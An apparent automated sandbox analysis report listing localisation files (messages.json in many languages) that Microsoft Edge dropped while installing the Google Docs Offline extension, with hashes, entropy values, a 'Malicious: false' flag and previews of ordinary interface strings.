Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1044284585\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
